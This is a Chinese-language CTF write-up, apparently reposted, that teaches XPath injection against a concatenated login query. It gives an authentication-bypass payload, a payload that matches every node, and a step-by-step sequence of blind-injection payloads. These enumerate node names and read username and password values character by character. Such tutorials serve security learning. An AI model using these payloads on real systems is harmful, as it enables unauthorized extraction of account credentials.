$query="user/username[@name=‘".$user."‘]";
一般的查询语句都长这样,可以构造语句
user1‘ or 1=1 or ‘=
1=1为真 ,‘=‘ 为真,使用or连接,则可以匹配当前节点下的所有user
使用‘ or 1=1 or ‘= 只能获取当前节点下的数据,flag不在当前节点中。而这里既然为ctf题目,肯定是需要获取flag的,这里xpath有一个类似于sqli的‘or ‘1‘=‘1的paylaod
‘]|//|//[‘
该paylaod用于访问xml文档的所有节点
Xpath盲注步骤:
从根节点开始判断:
‘or count(/)=1 or ‘= #根节点数量为1
‘or count(/*)=1 or ‘= #根节点下只有一个子节点
判断根节点下的节点长度为8:
‘or string-length(name(/*[1]))=8 or ‘=
猜解根节点下的节点名称:
‘or substring(name(/*[1]), 1, 1)=‘a‘ or ‘=
‘or substring(name(/*[1]), 2, 1)=‘c‘ or ‘=
..
‘or substring(name(/*[1]), 8, 1)=‘s‘ or ‘=
猜解出该节点名称为accounts
‘or count(/accounts)=1 or ‘= /accounts节点数量为1
‘or count(/accounts/*)>1 or ‘= /accounts下有两个节点
‘or string-length(name(/accounts/*[1]))=4 or ‘= 第一个子节点长度为4
猜解accounts下的节点名称:
‘or substring(name(/accounts/*[1]), 1, 1)=‘u‘ or ‘=
...
‘or substring(name(/accounts/*[1]), 4, 1)=‘r‘ or ‘=
accounts下子节点名称为user
‘or count(/accounts/user)=2 or ‘=
user节点有两个,则可以猜测出accounts节点结构,accounts下两个节点均为user节点
第一个user节点的子节点长度为8:
‘or string-length(name(/accounts/user[position()=1]/*[1]))=8 or ‘=
user下面有两个id,每个id都有4个节点,但是两个id都算在第一个user节点里面,所以user节点的子节点长度为8
读取user节点的下子节点
‘or substring(name(/accounts/user[position()=1]/*[1]), 1, 1)=‘u‘ or ‘=
‘or substring(name(/accounts/user[position()=1]/*[1]), 2, 1)=‘s‘ or ‘=
...
‘or substring(name(/accounts/user[position()=1]/*[1]), 8, 1)=‘e‘ or ‘=
以最后一句为例剖析语法:
‘or substring(name(/accounts/user[position()=1]/*[1]), 8, 1)=‘e‘ or ‘=
user[position()=1],代表是accounts节点的第一个user,有两个user。
/[1]代表是user节点下面的第一个子节点,8是代表第一个子节点的第八个字符,1则代表从第八个字符开始只读取一个字符,所以‘or substring(name(/accounts/user[position()=1]/[1]), 1, )=‘username‘ or ‘=也是对的。
最终所有子节点值验证如下:
‘or substring(name(/accounts/user[position()=1]/*[1]), 1)=‘username‘ or ‘=
‘or substring(name(/accounts/user[position()=1]/*[2]), 1)=‘email‘ or ‘=
‘or substring(name(/accounts/user[position()=1]/*[3]), 1)=‘accounttype‘ or ‘=
‘or substring(name(/accounts/user[position()=1]/*[4]), 1)=‘password‘ or ‘=
继续猜解:
‘or count(/accounts/user[position()=1]/username/*)>0 or ‘=
‘or count(/accounts/user[position()=1]/email/*)>0 or ‘=
‘or count(/accounts/user[position()=1]/accounttype/*)>0 or ‘=
‘or count(/accounts/user[position()=1]/username/password/*)>0 or ‘=
以上语句均为 false,证明不再有子节点,则可以尝试读取这些节点的值
第一个user下的username值长度为6:
‘or string-length((//user[position()=1]/username[position()=1]))=6 or ‘=
读取第一个user下usernaem的值:
‘or substring((//user[position()=1]/username[position()=1]),1,1)=‘T‘ or ‘=
....
‘or substring((//user[position()=1]/username[position()=1]),6,1)=‘e‘ or ‘=
可依次读取所有的子节点的值,第二user节点的子节点值读取方式:
‘or string-length((//user[position()=2]/username[position()=1]))=4 or ‘=
第一个user下的username长度为4
......
重复上边步骤即可
原文:https://www.cnblogs.com/altriaaaa/p/14032105.html